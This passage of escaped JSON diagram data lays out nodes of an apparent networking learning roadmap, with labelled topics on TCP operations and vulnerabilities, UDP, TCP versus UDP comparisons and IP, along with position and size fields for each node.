\"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": 303.0579118246835\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LkGI0VpJ3WkpPHkJhJgWk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": 356.0579118246835\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Resource Usage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": 356.0579118246835\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5bJUcx3v4dpdlIsx7bFvK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": 515.0579118246835\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Transfer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": 515.0579118246835\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1l5dhQWYPhUSg-cy5pSlK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": 409.0579118246835\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Max Segment Scaling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": 409.0579118246835\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zvBKjceXRSfEe_3MDCEL5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": 250.05791182468352\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Window Scaling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": 250.05791182468352\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6KAYNPLEFMp6Jha8FLMAU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": 462.0579118246835\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Timestamp\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": 462.0579118246835\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3OMu3RM-6pMjqY1jAmC2-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": 568.0579118246835\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Out-of-Band Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": 568.0579118246835\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SPpOO25b7wpajWDIrKi1u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": 621.0579118246835\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Selective Ack.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": 621.0579118246835\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1GML0Jsfdb1Fn-0PNryiQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -213.73195037554086,\n        \"y\": 462.0579118246835\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Congestion Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214\n      },\n      \"positionAbsolute\": {\n        \"x\": -213.73195037554086,\n        \"y\": 462.0579118246835\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X2KHWgQZDHSVDsTRMUwSj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -213.73195037554086,\n        \"y\": 515.0579118246835\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reliable Transmission\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vFM311xSa5OqNVove2f6j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -213.73195037554086,\n        \"y\": 515.0579118246835\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lDVD-3i64Mk7-KPJrXmFH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -213.73195037554086,\n        \"y\": 568.0579118246835\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Flow Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214\n      },\n      \"positionAbsolute\": {\n        \"x\": -213.73195037554086,\n        \"y\": 568.0579118246835\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vFM311xSa5OqNVove2f6j\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -213.73195037554086,\n        \"y\": 638.0579118246835\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Error Detection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lDVD-3i64Mk7-KPJrXmFH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214\n      },\n      \"positionAbsolute\": {\n        \"x\": -213.73195037554086,\n        \"y\": 638.0579118246835\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w6ysmcsBn9jJ8xMvg7hcD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": 197.05791182468352\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Max Segment Size\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": 197.05791182468352\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MwLWDlciJOq_0n5S3GoF-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -211.73195037554086,\n        \"y\": 194.05791182468346\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vulnerability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -211.73195037554086,\n        \"y\": 194.05791182468346\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TbXJO__4xSnzK1fvvJK86\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -211.73195037554086,\n        \"y\": 280.05791182468346\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Denial of Service\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -211.73195037554086,\n        \"y\": 280.05791182468346\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ubRiY3jdh3iS3diN482IU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -211.73195037554086,\n        \"y\": 333.05791182468346\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Connection Hijacking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -211.73195037554086,\n        \"y\": 333.05791182468346\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZLTfpRZ0rF-mtd7Z0R2WF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -211.73195037554086,\n        \"y\": 386.05791182468346\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Veto\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -211.73195037554086,\n        \"y\": 386.05791182468346\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ALNR_uSq6ByPUrt6lXkhZ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -510.2045658739704,\n        \"y\": 147.05791182468352\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -510.2045658739704,\n        \"y\": 147.05791182468352\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"IMyHwnXxJK6oFxzOMLxjS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 80.08476767833992,\n        \"y\": 94.05791182468352\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"UDP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6ilqzjvI4J1pUCmTJ33PA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 80.08476767833992,\n        \"y\": 94.05791182468352\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Vh81GnOUOZvDOlOyI5PwT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 307.0434878760507,\n        \"y\": -12.055669761014485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reliability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 307.0434878760507,\n        \"y\": -12.055669761014485\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wD_HWc9YxPhlkilt585pg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 307.0434878760507,\n        \"y\": 40.944330238985515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Datagram\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 307.0434878760507,\n        \"y\": 40.944330238985515\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jsNsyrGzegVnjIF2l52vI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 307.0434878760507,\n        \"y\": 93.94433023898551\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Congestion Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 307.0434878760507,\n        \"y\": 93.94433023898551\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tBOvBpDi3SOKZjAmkxdM0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 307.0434878760507,\n        \"y\": 146.94433023898551\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checksum\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 307.0434878760507,\n        \"y\": 146.94433023898551\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CCxVnrGDKa1EROXgF_OAm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 307.0434878760507,\n        \"y\": 199.94433023898551\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Packet Structure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 307.0434878760507,\n        \"y\": 199.94433023898551\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RfTcTUjaXyp49FnUf44MK\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 67.08476767833992,\n        \"y\": 434.4443302389856\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TCP vs UDP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6ilqzjvI4J1pUCmTJ33PA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 67.08476767833992,\n        \"y\": 434.4443302389856\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MoyBGT9bscUe8vMN4J0bG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 307.0434878760507,\n        \"y\": 487.4443302389856\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reliable vs Unreliable\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 307.0434878760507,\n        \"y\": 487.4443302389856\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WMdCDmFsytsF2AWQXfzC8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 307.0434878760507,\n        \"y\": 328.4443302389856\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ordered vs Unordered\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 307.0434878760507,\n        \"y\": 328.4443302389856\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OYXKtl4A-vaK6yGO6hS6n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 307.0434878760507,\n        \"y\": 381.4443302389856\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Heavy vs Lightweight\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 307.0434878760507,\n        \"y\": 381.4443302389856\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JE3uZ5U6oe6dVzsmglTl2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 307.0434878760507,\n        \"y\": 434.4443302389856\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Packet vs Datagram\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 307.0434878760507,\n        \"y\": 434.4443302389856\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pJw8fN1dt3BABtZVz7wGE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 307.0434878760507,\n        \"y\": 540.4443302389856\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Streaming vs Broadcast\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 307.0434878760507,\n        \"y\": 540.4443302389856\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tg94V7K0mgYhpkUMp_Scv\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 86.08476767833992,\n        \"y\": 709.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6ilqzjvI4J1pUCmTJ33PA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 86.08476767833992,\n        \"y\": 709.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5kF1fqr-mn5-15e3aMa9k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 293.0434878760507,\n        \"y\": 656.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Capability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 293.0434878760507,\n        \"y\": 656.9443302389855\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2jDV-ovvrkBbTTLk5VbR9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 293.0434878760507,\n        \"y\": 709.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reliability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 293.0434878760507,\n        \"y\": 709.9443302389855\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OzY-LPcfj1sBm_0F0WbIJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 293.0434878760507,\n        \"y\": 762.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Link Capacity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 293.0434878760507,\n        \"y\": 762.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YPvm8XD_FaFYCQ-b7-KsH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 293.0434878760507,\n        \"y\": 975.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Function\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 293.0434878760507,\n        \"y\": 975.9443302389855\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jnQAzUUnwpJgoRuRIFtSe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 294.5434878760507,\n        \"y\": 1061.0579118246837\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Datagram Construction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 294.5434878760507,\n        \"y\": 1061.0579118246837\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3ZcJNDCHw2pFzewmoB-03\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 294.5434878760507,\n        \"y\": 1112.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IP Addressing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 294.5434878760507,\n        \"y\": 1112.9443359375\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": 